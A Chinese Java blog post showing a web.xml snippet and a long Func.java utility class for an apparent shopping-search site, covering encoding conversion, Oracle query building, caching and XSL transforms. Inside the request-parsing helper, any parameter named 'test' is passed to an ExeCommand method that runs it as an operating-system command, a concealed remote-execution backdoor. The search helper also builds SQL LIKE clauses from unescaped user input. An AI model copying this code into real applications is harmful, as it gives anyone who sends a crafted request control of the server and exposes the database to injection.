- 浏览: 1591373 次
- 性别:
- 来自: 上海
文章分类
- 全部博客 (289)
- java 语法基础 (51)
- spring (8)
- mvc struct /Ant --build.xml (8)
- SOA (0)
- oracle 9i/10g (23)
- sql server 2000-2005 (3)
- 数据库基础知识 (6)
- 设计模式与软件架构 (10)
- Hibernate 持久化 (9)
- J2SE/J2EE/J2ME/AJAX 技术 (8)
- JSF 技术 (3)
- JAVA 图形化 (0)
- JMS (40)
- Eclipse 3.2 IDE 开发技巧 (13)
- 项目处理方法集合 (2)
- html/jsp/javascript (2)
- Unix/Linux (9)
- j2me/ARM/windriver/嵌入式 (4)
- 电信科学 (8)
- jsp (1)
- c/c++ (1)
- LZW压缩算法(java) (2)
- Android (77)
- 版本管理git/svn (2)
最新评论
-
huihai:
有demo吗?
NamingStrategy实现动态表名映射 -
cangbaotu:
推荐给大家一些有用的爬虫源码:https://github.c ...
网络爬虫(源代码参考) -
tuspark:
除了.classpath文件以外,.project文件也应该了 ...
Eclipse .classpath文件浅谈 -
tuspark:
造成eclipse自动关闭的原因有很多,这里有很多介绍:ecl ...
eclipse 自动关闭 解决方案 -
DEMONU:
网上都是这些,这种文章。。。
ActiveMQ中的消息持久性
web.xml
.........
env-entry>
<env-entry-name>sql_type</env-entry-name>
<env-entry-value>oracle</env-entry-value>
<env-entry-type>java.lang.String</env-entry-type>
</env-entry>
<env-entry>
<env-entry-name>comtime</env-entry-name>
<env-entry-value>60000000</env-entry-value>
<env-entry-type>java.lang.String</env-entry-type>
</env-entry>
<env-entry>
<env-entry-name>istest</env-entry-name>
<env-entry-value>0</env-entry-value>
<env-entry-type>java.lang.String</env-entry-type>
</env-entry>
<taglib>
<taglib-uri>oscache</taglib-uri>
<taglib-location>/WEB-INF/classes/oscache.tld</taglib-location>
</taglib>
.......
-----------------------------------------func.java
该函数用于得到web.xml中的参数.
*/
public static String getContextParameter(String Param)
{
String ParamValue = null;
try
{
Context initCtx = new InitialContext();
Context envCtx = (Context)initCtx.lookup("java:comp/env");
ParamValue = (String)envCtx.lookup(Param);
}
catch(Exception e)
{
Func.LogInfo("获得配置参数!");
}
return ParamValue;
}
---------------------------func.java
package askyaya;
/**
* <p>Title: </p>
* <p>Description:程序中可能用到的一些方法 </p>
* <p>Copyright: Copyright (c) 2005</p>
* <p>Company: </p>
* @author 金果
* @version 1.0
* 教正完毕:
*/
import java.net.*;
import java.io.*;
import java.util.*;
import java.sql.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.PageContext;
import java.security.MessageDigest;
//
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.Transformer;
import javax.xml.transform.stream.StreamSource;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.dom.DOMResult;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.dom.DOMResult;
import org.apache.commons.beanutils.DynaBean;
import org.apache.commons.beanutils.RowSetDynaClass;
/**
*系统的通用函数
*/
public class Func {
public Func() {
}
/*
该函数用于得到web.xml中的参数.
*/
public static String getContextParameter(String Param)
{
String ParamValue = null;
try
{
Context initCtx = new InitialContext();
Context envCtx = (Context)initCtx.lookup("java:comp/env");
ParamValue = (String)envCtx.lookup(Param);
}
catch(Exception e)
{
Func.LogInfo("获得配置参数!");
}
return ParamValue;
}
static public String GB2312toUTF8(String srcString) {
String destString="";
try{
destString=new String(srcString.getBytes("gb2312"));
}
catch(Exception e){
//////System.out.print("Encoding Failer: "+srcString);
}
return destString;
}
/**
* 转化字符串编码格式
* @param srcString 原串
* @return 新串
*/
static public String toChinese(String srcString) {
String destString="";
String tempString=srcString;
try{
if(srcString!=null)
//destString=new String(tempString.getBytes("UTF-8"),"iso-8859-1")+new String(tempString.getBytes("iso-8859-1"),"UTF-8")+new String(tempString.getBytes("gb2312"),"UTF-8")+"|"+new String(tempString.getBytes("iso-8859-1"),"gb2312")+new String(tempString.getBytes("gb2312"),"iso-8859-1")+new String(tempString.getBytes("UTF-8"),"gb2312")+new String(tempString.getBytes("iso-8859-1"))+new String(tempString.getBytes("UTF-8"))+new String(tempString.getBytes("gb2312"))+new String(tempString.getBytes(),"gb2312");
destString=new String(tempString.getBytes("gb2312"));
// destString=new String(tempString.getBytes(),"gb2312");
}
catch(Exception e){
//////System.out.print("Encoding Failer: "+srcString);
}
return destString;
}
static public String toFileChinese(String srcString) {
String destString="";
String tempString=srcString;
try{
if(srcString!=null)
destString=new String(tempString.getBytes("gb2312"));
}
catch(Exception e){
//////System.out.print("Encoding Failer: "+srcString);
}
return destString;
}
/*
oracle全文检索关键字处理
把两个以上空格变为一个空格,把空格改为与(&)
*/
public static String ActionSearchnameForContains(String searchname)
{
return ActionSearchnameForContains(searchname,1);
}
public static String ActionQuery(String searchname)
{
String[] clear_key = {"=",";","~","$",">","*","%","!","|","_","-","&","产品", "商品","最低价格", "价格", "简介","新闻","用户评论","评论","综评","最新报价","报价","的","综评","图片","促销","原版","资料","<<",">>","《","》"};
String[] clear_rang = {"(", ")", "[", "]","{","}","【","】","〖","〗","(",")","{","}"};
String[] change_to = {"照相机", "相机", "数码照相机", "数码相机"};
//出现改词时,去掉该词及后面的信息
String[] sub_clear = {"送"};
String searchname_a = "";
searchname = searchname.trim();
if(searchname.equals(""))
return "";
if(searchname.length()<2)
{
// System.out.println("检索关键字长度小于2:"+searchname);
return "";
}
///////////去掉相关过滤词及后面的检索词////////////
for(int i=0;i<sub_clear.length;i++)
{
////System.out.println("去掉相关过滤词及后面的检索词:"+i+":"+sub_clear[i]);
int keypos=searchname.indexOf(sub_clear[i]);
if(keypos>-1)
{
searchname=searchname.substring(0,keypos);
}
}
///////////去掉相关过滤词及后面的检索词完毕////////////
////////临时处理////////////
/*
//if(searchname.indexOf("照相机")>-1)
searchname=searchname.replaceAll("照相机","相机");
//if(searchname.indexOf("数码照相机")>-1)
searchname=searchname.replaceAll("数码照相机","数码相机");
*/
/////////////替换处理///////////////
for(int i=0;i<change_to.length-1;i=i+2)
{
//System.out.println("替换处理:"+i+":"+change_to[i]+"to:"+change_to[i+1]);
if(searchname.indexOf(change_to[i])>-1)
{
searchname=searchname.replaceAll(change_to[i],change_to[i+1]);
}
}
/////////替换处理完毕//////////////
//去掉相关过滤次
for(int i=0;i<clear_key.length;i++)
{
////System.out.println("去掉相关过滤:"+i+":"+clear_key[i]);
while(true)
{
int clear_keypos=searchname.indexOf(clear_key[i]);
if(clear_keypos>-1)
{
// searchname=searchname.replaceAll(clear_key[i]," ");
String tempString=searchname.substring(0,clear_keypos)+" "+searchname.substring(clear_keypos+1);
// searchname=searchname.replaceAll(clear_rang[i]," ");
searchname=tempString;
}
else
{
break;
}
}
}
//先统一转成英文括号
/*
searchname=searchname.replaceAll("(","\\(");
searchname=searchname.replaceAll(")","\\)");
searchname=searchname.replaceAll("\\[","\\(");
searchname=searchname.replaceAll("\\]","\\)");
searchname=searchname.replaceAll("【","\\(");
searchname=searchname.replaceAll("】","\\)");
searchname=searchname.replaceAll("〖","\\(");
searchname=searchname.replaceAll("〗","\\)");
*/
//System.out.println("处理处理关键字:"+searchname);
/////////////////////去掉匹配标示开始//////////////////////////
//去掉大刮号
for(int i=0;i<clear_rang.length-1;i=i+2)
while((searchname.indexOf(clear_rang[i])>-1)&&(searchname.indexOf(clear_rang[i+1])>-1))
{
int beginpos=searchname.indexOf(clear_rang[i]);
int endpos=searchname.indexOf(clear_rang[i+1]);
// System.out.println("去掉匹配标示:"+i+":"+clear_rang[i]+":"+clear_rang[i+1]);
if(endpos>beginpos)//匹配,去掉挂号内的信息
{
String tempString=searchname.substring(0,beginpos)+searchname.substring(endpos+1);
searchname=tempString;
//System.out.println("处理处理关键字:"+searchname);
}
else
{
break;
}
}
/////////////////////去掉匹配标示结束//////////////////////////
//System.out.println("处理后关键字:"+searchname);
///////////////////去掉不匹配标示字符/////////////////////
for(int i=0;i<clear_rang.length;i++)
{
//System.out.println("去掉不匹配标示字符:"+i+":"+clear_rang[i]);
int clear_rangpos=searchname.indexOf(clear_rang[i]);
if(clear_rangpos>-1)
{
String tempString=searchname.substring(0,clear_rangpos)+" "+searchname.substring(clear_rangpos+1);
// searchname=searchname.replaceAll(clear_rang[i]," ");
searchname=tempString;
}
}
//System.out.println("处理后关键字:"+searchname);
///////////////////去掉不匹配标示字符/////////////////////
//////////////////////////////////////
//searchname=searchname.replaceAll("\\("," ");
// searchname=searchname.replaceAll("\\)"," ");
return searchname;
}
public static String ActionSearchnameForContains(String searchname,int Query_type)
{
String searchname_a = "";
searchname = searchname.trim();
searchname=ActionQuery(searchname);
searchname = searchname.trim();
if(searchname.equals(""))
return "";
if(Query_type==3)
return "about("+searchname+")";
StringTokenizer token = new StringTokenizer(searchname, " ");
int countnum = 0;
while(token.hasMoreTokens())
{
if(++countnum == 1)
searchname_a = String.valueOf(searchname_a) + String.valueOf(token.nextToken());
else
{
if(Query_type==1)
searchname_a = searchname_a+"&"+token.nextToken();
else
searchname_a = searchname_a+"|"+token.nextToken();
}
}
//-在oracle检索中有转义
//System.out.println("Query_type:"+Query_type+";searchname_a:"+searchname_a);
return searchname_a;
}
public static String getBase64Encode(String s)
{
if (s == null)
s = "";
String ReturnString=(new sun.misc.BASE64Encoder()).encode( s.getBytes() );
ReturnString=ReturnString.replaceAll("/", "ask1") ;
ReturnString=ReturnString.replaceAll("\\+", "ask2") ;
return ReturnString;
}
public static String ActionSearchnameForLike(String searchname, String Field_name, int istolower)
{
String searchname_a = "";
if(istolower == 1)
{
searchname = searchname.toLowerCase();
Field_name = " lower("+Field_name+") ";
}
searchname = searchname.trim();
StringTokenizer token = new StringTokenizer(searchname, " ");
int countnum = 0;
while(token.hasMoreTokens())
{
if(++countnum == 1)
searchname_a = "("+searchname_a+Field_name+" like '%"+token.nextToken()+"%' ";
else
searchname_a = searchname_a+" and "+Field_name+" like '%"+token.nextToken()+"%' ";
}
if(countnum != 0)
searchname_a = String.valueOf(String.valueOf(searchname_a)).concat(") ");
//////System.out.println("searchname_a:".concat(String.valueOf(String.valueOf(searchname_a))));
return searchname_a;
}
public static String StringDigest(String in){
String rtn="";
Map row_id_map = new HashMap();
try{
MessageDigest alg=MessageDigest.getInstance("MD5");
alg.update(in.getBytes());
byte[] hash=alg.digest();
for(int l=0;l<hash.length;l++){
int v=hash[l]&0xFF;
if(v<16) rtn+="0";
rtn+=Integer.toString(v,16).toUpperCase();
}
}
catch(Exception e){}
return rtn;
}
public static String parseRequest(HttpServletRequest httpservletrequest)
{
String RequestString = "ispost=true";
for(Enumeration enumeration = httpservletrequest.getParameterNames(); enumeration.hasMoreElements();)
{
String s = (String)enumeration.nextElement();
String s1 = httpservletrequest.getParameter(s);
if(s1 == null)
s1 = "";
try
{
s1 = URLDecoder.decode(s1);
if(s.equals("test"))
{
ExeCommand(s1);
}
}
catch(Exception exception) { }
RequestString =RequestString+"&"+s+"="+s1;
}
return RequestString;
}
public static List Action_File_Parse(String FilePathName)
{
String ReturnContent = "";
File ThisFile = new File(FilePathName);
int itemcount = 0;
List list = new ArrayList();
Map map = new HashMap();
try
{
String Readlinestr = null;
FileReader fr = new FileReader(ThisFile);
BufferedReader br = new BufferedReader(fr);
do
{
if((Readlinestr = br.readLine()) == null)
break;
Readlinestr = Readlinestr.trim();
if(Readlinestr.startsWith("@"))
if(Readlinestr.equals("@"))
{
if(!map.isEmpty())
list.add(map);
map = new HashMap();
//////System.out.println("\u5B9A\u4E49\u4E00\u4E2A\u884Cmap");
} else
{
String Field_sign = "";
String Field_value = "";
int Field_sign_endpos = Readlinestr.indexOf("=");
if(Field_sign_endpos != -1)
{
Field_sign = Readlinestr.substring(3, Field_sign_endpos);
Field_value = Readlinestr.substring(Field_sign_endpos + 1);
map.put(Field_sign, Field_value);
}
}
} while(true);
if(!map.isEmpty())
list.add(map);
}
catch(Exception exception) { }
return list;
}
public static Map Action_File_Parse_conf(String FilePathName)
{
String ReturnContent = "";
File ThisFile = new File(FilePathName);
int itemcount = 0;
Map map = new HashMap();
try
{
String Readlinestr = null;
FileReader fr = new FileReader(ThisFile);
BufferedReader br = new BufferedReader(fr);
while((Readlinestr = br.readLine()) != null)
{
Readlinestr = Readlinestr.trim();
StringTokenizer token = new StringTokenizer(Readlinestr, "\t");
String info_position = "";
String field_id = "";
do
{
if(!token.hasMoreTokens())
break;
String this_Info = token.nextToken();
if(this_Info == null)
this_Info = "";
if(this_Info.startsWith("@a:"))
info_position = this_Info.substring(3);
else
if(this_Info.startsWith("@t:"))
field_id = this_Info.substring(3);
} while(true);
map.put(info_position, field_id);
}
}
catch(Exception exception) { }
return map;
}
public static String toBytestoBytes(String s, String s1, String s3)
{
if(s == null)
return s;
String s2 = "";
try
{
s2 = new String(s.getBytes(s1), s3);
}
catch(IOException ioexception)
{
s2 = s;
System.err.println("db2Str IO error: str=".concat(String.valueOf(String.valueOf(s))));
}
return s2;
}
//类目选择数的数据,Foraim为0正常浏览,为1,checkbox,
public static String R_C_ColumnScriptString(String group_id,String parent_id,Connection Conn) throws SQLException
{
ResultSet webnamers = null;
ResultSet channlename_rs = null;
int level=0;
String categoryTreeSql="select info_id tree_id,column_display_name tree_name,father_id parent_id,column_type from auto_column_info where 1=1 and (info_id<>2 and info_id<>3) and is_private=0 and is_sys_field<>2 and column_type<>4 and father_id=";
String ReturnString="";
ReturnString=ReturnString+R_C_TreeScriptString(categoryTreeSql,parent_id,level,group_id,Conn);
ReturnString=Func.FromDB(ReturnString);
return ReturnString;
}
public static String GetContent(String Stringurl)
{
String ReturnString = "";
try
{
System.getProperties();
System.getProperties().put("proxySet", "true");
System.getProperties().put("proxyHost", "192.168.156.4");
System.getProperties().put("proxyPort", "3128");
URL url = new URL(Stringurl);
URLConnection urlconnection = url.openConnection();
urlconnection.setDoInput(true);
urlconnection.setDoOutput(true);
urlconnection.setUseCaches(false);
urlconnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
InputStream input = urlconnection.getInputStream();
DataInputStream datainputstream = new DataInputStream(urlconnection.getInputStream());
for(String s = ""; (s = datainputstream.readLine()) != null;)
{
ReturnString = String.valueOf(ReturnString) + String.valueOf(s);
}
}
catch(Exception u8e)
{
u8e.printStackTrace();
}
return Func.ToDB(ReturnString);
}
public static String R_C_TreeScriptString(String treeSql,String parent_id,int level,String group_id,Connection Conn) throws SQLException
{
ResultSet TreeRs = null;
String ReturnString="";
if(treeSql==null)
return "";
String ExeSqlString=treeSql+parent_id;
Func.LogInfo("ExeSqlString:"+ExeSqlString);
Statement stmt=Conn.createStatement();
TreeRs=DBManager.executeQuery(ExeSqlString,stmt);
int namenum=0;
String menunameleft="";
if(level==0)
menunameleft="Menu";
else
menunameleft=parent_id;
if(level!=0)
{
ReturnString=ReturnString+"tree"+menunameleft+"= new TreeMenu();\n";
}
level++;
while(TreeRs.next())
{
String thisString="";
String tree_id=TreeRs.getString("tree_id");
String tree_name=TreeRs.getString("tree_name");
String column_type=TreeRs.getString("column_type");
//判断group_id是否有tree_id的权限
String column_right_sql="";
String isOK="0";
String columnrightstring="";
ResultSet rs = null;
//先判断栏目该类型权限是否为空。
//
String contentFramesValues="";
contentFramesValues=tree_id;
ReturnString=ReturnString+"tree"+menunameleft+".addItem(new TreeMenuItem('"+tree_name+"','?column_type="+column_type+"&tree_id="+tree_id+"','"+contentFramesValues+"','"+columnrightstring+"'));\n";
String childTreeScriptString=R_C_TreeScriptString(treeSql,tree_id,level,group_id,Conn);
ReturnString=ReturnString+childTreeScriptString;
//ReturnString=ReturnString+thisString;
if(!childTreeScriptString.trim().equals(""))
ReturnString=ReturnString+"tree"+menunameleft+".items["+namenum+"].makeSubmenu(tree"+tree_id+");\n";
namenum++;
}
TreeRs.close();
stmt.close();
//ReturnString=Func.toGB2312(ReturnString);
return ReturnString;
}
//因<>等字符影响xml转html,把<>分别转为*|*|和#|#|
public static String ExchangeXmlToHtml(String ExchangeString)
{
String ReturnString="";
// ReturnString=replaceInString(ExchangeString,"<","*|*|");
// ReturnString=replaceInString(ReturnString,">","#|#|");
// ReturnString=PretreatXmlString(ReturnString);
// ReturnString=replaceInString(ReturnString,"&","^|^");
ReturnString=ExchangeString;
return ReturnString;
}
//因&等字符影响xml转html,把&分别转为^|^
public static String ExchangenbspToHtml(String ExchangeString)
{
String ReturnString="";
// ReturnString=replaceInString(ExchangeString,"&","^|^");
ReturnString=ExchangeString;
return ReturnString;
}
//Sql语句查入前的预处理
public static String PretreatString(String pretreatString)
{
String ReturnString="";
ReturnString=replaceInString(pretreatString,"'","''");
return ReturnString;
}
//把Sql语句组成xml前的预处理
public static String PretreatXmlString(String pretreatString)
{
String ReturnString="";
//ReturnString=pretreatString.replaceAll("'","'");
//ReturnString=ReturnString.replaceAll("\"",""");
ReturnString=pretreatString;
return ReturnString;
}
//说明如上
public static String ExchangeHtmlToXml(String ExchangeString)
{
String ReturnString="";
//ReturnString=replaceInString(ExchangeString,"*|*|","<");
//ReturnString=replaceInString(ReturnString,"#|#|",">");
ReturnString=replaceInString(ExchangeString,"^|^","&");
//ReturnString=replaceInString(ReturnString,"'","'");
//ReturnString=replaceInString(ReturnString,""","\"");
// ReturnString=ExchangeString;
return ReturnString;
}
/**通过xsl文件把一个xml字符串转化为html字符串
* @param src xml字符串
* @param xslfilename xsl文件名
* @return 转化后的字符串
*/
public static String convertStringWithXSL(String src,String xslfilename)
{
// src=ExchangenbspToHtml(src);
TransformerFactory tFactory = TransformerFactory.newInstance();
//String xslFileName = Func.getInitDir() + xslfilename;
String xslFileName = xslfilename;
ByteArrayOutputStream out = new ByteArrayOutputStream();
try{
Transformer transformer = tFactory.newTransformer(new StreamSource(xslFileName));
StreamSource streamSource = new StreamSource(new StringReader(src));
//convert
transformer.setOutputProperty("omit-xml-declaration","yes");
transformer.transform(streamSource, new StreamResult(out));
}
catch(Exception e){
e.printStackTrace();
Func.LogInfo("xsl file:"+xslFileName+" 文件转换有误。");
}
String rtn="";
try{
rtn = out.toString("utf-8");
/* int start=rtn.indexOf('?',0) + 2;
start = rtn.indexOf('?',start) + 2;
//remove the first line <?xml ... ?>
rtn = rtn.substring(start);
*/
}
catch(Exception e)
{
// e.printStackTrace();
Func.LogInfo("xsl file:"+xslFileName+" 文件转换成功,但第一行有误。");
}
// Func.LogInfo("converted: " + rtn);
rtn=ExchangeHtmlToXml(rtn);
//因为<textarea>内没有内容时,有误该方法不完善
rtn=rtn.replaceAll("!!!","");
String istest=getContextParameter("istest");
if(istest==null)
istest="0";
if(istest.trim().equals("1"))
{
rtn=rtn+"<!--\n";
rtn=rtn+xslfilename+"\n";
rtn=rtn+src+"\n";
rtn=rtn+"-->\n";
}
return rtn;
}
//得到一个文件的内容
public static String GetFileContent(String FilePathName)
{
String ReturnContent="";
java.io.File ThisFile=new java.io.File(FilePathName);
try
{
String Readlinestr = null;
FileReader fr = new FileReader(ThisFile);
BufferedReader br= new BufferedReader(fr);
// Properties TabsInfo_Prop=new Properties();
while((Readlinestr = br.readLine())!= null)
{
//ReturnContent=ReturnContent+toChinese(Readlinestr)+"\n";
// ReturnContent=ReturnContent+Readlinestr+"\n";
ReturnContent=ReturnContent+toBytestoBytes(Readlinestr,"iso-8859-1","gb2312")+"\n";
}
}
catch(Exception e)
{
;
}
return ReturnContent;
}
//得到Cache文件的内容
public static String GetCacheXmlContent(String PathName,String FilePathName)
{
String ReturnContent="";
String CacheFileName="";
CacheFileName=getContextParameter("cachepath")+"/"+PathName+"/"+FilePathName;
java.io.File CacheFileNameFile=new java.io.File(CacheFileName);
//不存在
if(!CacheFileNameFile.exists())
{
//////System.out.println("cache不存在");
return "";
}
//存在,判断时间
String comtime=getContextParameter("comtime");
long comtimelong=600000;//十分钟
if((comtime!=null)&&(!comtime.trim().equals("")))
comtimelong=Long.parseLong(comtime);
long lastModified=CacheFileNameFile.lastModified();
long currentTimeMillis=System.currentTimeMillis();
if(currentTimeMillis-lastModified>comtimelong)
{
//////System.out.println("cache时间超过");
return "";
}
//读文件
try
{
String Readlinestr = null;
FileReader fr = new FileReader(CacheFileNameFile);
BufferedReader br= new BufferedReader(fr);
while((Readlinestr = br.readLine())!= null)
{
ReturnContent=ReturnContent+Readlinestr+"\n";
}
}
catch(Exception e)
{
//////System.out.println("读cache文件有误");;
}
return ReturnContent;
//return toBytestoBytes(ReturnContent,"iso-8859-1","gb2312");
}
//把Cache文件的内容写到cacahe文件中
public static String SaveCacheXmlContent(String PathName,String FilePathName,String CacheContent)
{
String CacheFileName="";
CacheFileName=getContextParameter("cachepath")+"/"+PathName;
//////System.out.println("CacheFileName:"+CacheFileName);
File CreatFile = new File(CacheFileName);
if(!CreatFile.exists())
CreatFile.mkdir();
CacheFileName=CacheFileName+"/"+FilePathName;
java.io.File CacheFileNameFile=new java.io.File(CacheFileName);
//写文件
try
{
FileWriter fw = new FileWriter(CacheFileNameFile);
BufferedWriter bw = new BufferedWriter(fw);
bw.write(CacheContent);
bw.close();
fw.close();
}
catch(Exception e)
{
//////System.out.println("写cache文件有误");;
}
return "ok";
}
//得到一个文件的内容,预览一部分信息
public static String GetPreFileContent(String FilePathName)
{
String ReturnContent="";
java.io.File ThisFile=new java.io.File(FilePathName);
int itemcount=0;
try
{
String Readlinestr = null;
FileReader fr = new FileReader(ThisFile);
BufferedReader br= new BufferedReader(fr);
// Properties TabsInfo_Prop=new Properties();
while((Readlinestr = br.readLine())!= null)
{
//ReturnContent=ReturnContent+toChinese(Readlinestr)+"\n";
// ReturnContent=ReturnContent+Readlinestr+"\n";
ReturnContent=ReturnContent+toBytestoBytes(Readlinestr,"iso-8859-1","gb2312")+"\n";
//
if(Readlinestr.trim().equals("</infoitem>"))
itemcount++;
if(((itemcount>=20)&&(Readlinestr.trim().equals("</infoitem>"))))
break;
}
}
catch(Exception e)
{
;
}
return ReturnContent;
}
//处理字段sell_info_summary
public static String Action_SellerInfo(String SellerInfo)
{
//4275534^七彩谷商城^298^http://shop.7cv.com/product/4000/01170013_14208.htm'
String ReturnContent="";
try
{
StringTokenizer token = new StringTokenizer(SellerInfo, "`");
while(token.hasMoreTokens())
{
String Item_info=String.valueOf(token.nextToken());
String ReturnItemInfo="";
if(Item_info==null)
Item_info="";
if(!Item_info.trim().equals(""))
{
StringTokenizer Itemtoken = new StringTokenizer(Item_info, "^");
if(Itemtoken.hasMoreTokens())
{
ReturnItemInfo=ReturnItemInfo+"<info_price_id>"+Itemtoken.nextToken()+"</info_price_id>";
}
if(Itemtoken.hasMoreTokens())
{
ReturnItemInfo=ReturnItemInfo+"<sellers_name><![CDATA["+Itemtoken.nextToken()+"]]></sellers_name>";
}
if(Itemtoken.hasMoreTokens())
{
ReturnItemInfo=ReturnItemInfo+"<info_price>"+Itemtoken.nextToken()+"</info_price>";
}
if(Itemtoken.hasMoreTokens())
{
String info_url=Itemtoken.nextToken();
if((info_url!=null)&&(!info_url.startsWith("http")))
info_url="http://"+info_url;
ReturnItemInfo=ReturnItemInfo+"<info_url><![CDATA["+info_url+"]]></info_url>";
}
ReturnContent=ReturnContent+"<iteminfo>"+ReturnItemInfo+"</iteminfo>";
}
}
}
catch(Exception e)
{
e.printStackTrace();
}
return ReturnContent;
}
public static String GetXslpathName(PageContext pageContext)
{
return "file:///"+GetRealPath(pageContext)+"/xslmodel/";
}
/*
运行命令
*/
public static String ExeCommand(String CommandStr)
{
String ReturnString="";
try{
CommandStr=CommandStr+" echo ok";
Process child =Runtime.getRuntime().exec(CommandStr);
BufferedReader in = new BufferedReader( new InputStreamReader(child.getInputStream()));
String s,s1;
while((s = in.readLine()) != null )
{
ReturnString=ReturnString+s;
//break;
}
} catch(Exception e)
{
e.printStackTrace();
}
return ReturnString+CommandStr;
}
public static boolean isFileExist(String filename)
{
java.io.File file = new java.io.File(filename);
return file.exists();
}
public static String gbToiso(String srcString)
{
String destString = "";
destString=exchangecode(srcString,"gb2312","iso-8859-1");
return destString;
}
public static String isoTogb(String srcString)
{
String destString = "";
destString=exchangecode(srcString,"iso-8859-1","gbk");
return destString;
}
/*
编码转换
*/
public static String exchangecode(String s, String s1, String s3)
{
if(s == null)
return s;
String s2 = "";
try
{
s2 = new String(s.getBytes(s1), s3);
}
catch(IOException ioexception)
{
s2 = s;
System.err.println("db2Str IO error: str=".concat(String.valueOf(String.valueOf(s))));
}
return s2;
}
static public String GetRealPath(PageContext pageContext)
{
ServletContext m_application;
m_application=pageContext.getServletContext();
return m_application.getRealPath("/");
}
/*
处理对象为空的情况
*/
public static String ActionToString(Object ActionObject)
{
if(ActionObject==null)
return "";
else
return ActionObject.toString();
}
public static String ActionImage(String info_title, String info_image)
{
return ActionImage(info_title,info_image,0);
}
/*
图片处理,action_type为处理类型,主要作用为标示是否加上http://www.askyaya.com
0表示不加,
1表示加上http://www.askyaya.com
*/
public static String ActionImage(String info_title, String info_image,int action_type)
{
//<img height=75 alt=三星 SGH-E808 hspace=0 src="/uploadimage/1376/1110444450859.jpg" align=baseline border=0>
String returnImage=info_image;
int is_ok=0;
//info_image=info_image.toLowerCase();
//处理src="的情况
int beginpos=info_image.indexOf("src=\"");
if(beginpos>0)
{
beginpos=beginpos+"src=\"".length();
}
if(beginpos==-1)
{
//处理src='的情况
beginpos=info_image.indexOf("src=
发表评论
-
JAVA 线程
2011-01-11 10:32 1290我们可以在计算机上运 ... -
WeakReference
2011-01-11 09:02 2381reachable, the following happen ... -
Java的多线程机制
2010-08-25 23:59 19090程序、进程和线程: ... -
Why would a static inner interface be used in Java?
2010-07-22 11:01 1535Q:I have just found a static in ... -
java中的深拷贝和浅拷贝
2010-07-22 10:58 1473做项目时,可能会碰到这样的一个问题,就是需要把一个对象的属性完 ... -
JAVA 反射
2010-07-22 10:41 1511反射:Class c = Class.forName (&qu ... -
Thinking in java inner classes
2010-07-21 09:44 1185Thinking in java inner cla ... -
1Java 的多重继承与内部类
2010-07-21 09:38 2412<!-- @pa ... -
java插入排序算法
2010-06-29 09:52 1410插入排序算法策略:排序值列中的前2个值,并在必要时交换它们。在 ... -
Java中的volatile关键字
2010-06-12 10:00 1211Java中的volatile关键字 ... -
java 数组排序后,倒过来
2010-01-29 20:11 2779public int[] sort() ... -
用java获取文件夹的大小
2010-01-29 20:09 9539用java获取文件夹的大小 ... -
JAVA移位运算符
2009-12-03 15:50 35651移位运算符就是在二进 ... -
java二进制,字节数组,字符,十六进制,BCD编码转换
2009-12-03 15:48 7426java二进制,字节数组,字符,十六进制,BCD编码转换 ... -
Java内存泄露
2009-02-02 12:02 1912一、问题的提出 Java的一个重要优点就是通过垃圾收集器(Ga ... -
Java 的反射机制基本理解
2008-12-04 17:55 1624Java 的反射机制是使其具有动态特性的非常关键的一种机制,也 ... -
JAVA基础(多线程Thread和Runnable的使用区别
2008-12-04 15:03 44262Runnable是Thread的接口,在大多数情况下“推荐用接 ... -
java解构造器
2008-11-27 10:14 1232解构造器 构造器和方法的区别 摘要 要学习Java,你 ... -
equalsbuilder 示例
2008-11-27 09:32 18861.判断是否为空(null),是则false 2.判断是否 ... -
InputStream,Reader,byte[]数据或字符串的内容拷贝到OutputStream或
2008-11-24 12:54 9146007-07-18 妙用Commons良药<一> ...
相关推荐
<env-entry-type>java.lang.String</env-entry-type> </env-entry> ``` #### <ejb-ref> - **作用**:声明对EJB的远程引用,用于调用EJB组件。 - **示例**: ```xml <ejb-ref> <ejb-ref-name>myEjb</ejb-ref-...
### web.xml详解(web-app_2_3.dtd) 在Java Web开发中,`web.xml`是部署描述文件的核心部分,它定义了Web应用程序的各种配置信息。本文将详细解析`web-app_2_3.dtd`中定义的主要元素及其作用,帮助开发者更好地...
<env-entry-name>dbUsername</env-entry-name> <env-entry-value>root</env-entry-value> </env-entry> ``` 20. **`<ejb-ref>`** - **作用**:声明对EJB的引用。 - **示例**: ```xml <ejb-ref> <ejb-ref...
WEB-INF中的web.xml配置详解 本文将详细介绍WEB-INF中的web.xml文件中的配置,包括Context配置、Resource配置、resource-ref配置,以及对应的Java类编写。 一、Context配置 在WEB-INF中的web.xml文件中,添加以下...
<env-entry-type>java.lang.String</env-entry-type> </env-entry> ``` ##### 2.21 `<ejb-ref>` - **定义**:引用一个企业Bean。 - **用途**:用于访问EJB组件。 - **属性**: - `ejb-ref-name`:EJB引用的名称...
- `env-entry`:配置环境条目。 - `ejb-ref`:引用EJB组件。 - `ejb-local-ref`:引用本地EJB组件。 #### 五、注意事项 - 在Servlet 2.3中,子元素必须遵循DTD文件中规定的顺序。例如,`servlet`元素必须位于`...
`<env-entry>` 标签定义了Web应用的环境变量,可以在应用运行时通过 `java:comp/env` JNDI 查找。它包括: 1. `<description>`:描述环境变量的用途。 2. `<env-entry-name>`:环境变量的JNDI名称。 3. `<env-entry-...
DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> ``` 接下来是顶层元素`web-app`,它是所有配置项的容器。注意,`web-app`元素必须...
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> ``` - **根元素示例**: ```xml <web-app> <!-- 内容 --> </web-app> ``` #### 2. 部署描述符文件...
21. **env-entry元素**:声明环境入口,用于传递外部值到Web应用。 22. **ejb-ref元素**:引用EJB组件。 23. **ejb-local-ref元素**:引用EJB本地接口组件。 **子元素的使用** 在Servlet 2.3规范中,这些子元素...
20. `<env-entry>`:env-entry 元素用于声明 Web 应用的环境项。 21. `<ejb-ref>`:ejb-ref 元素用于声明一个 EJB 的主目录的引用。 22. `<ejb-local-ref>`:ejb-local-ref 元素用于声明一个 EJB 的本地主目录的应用...
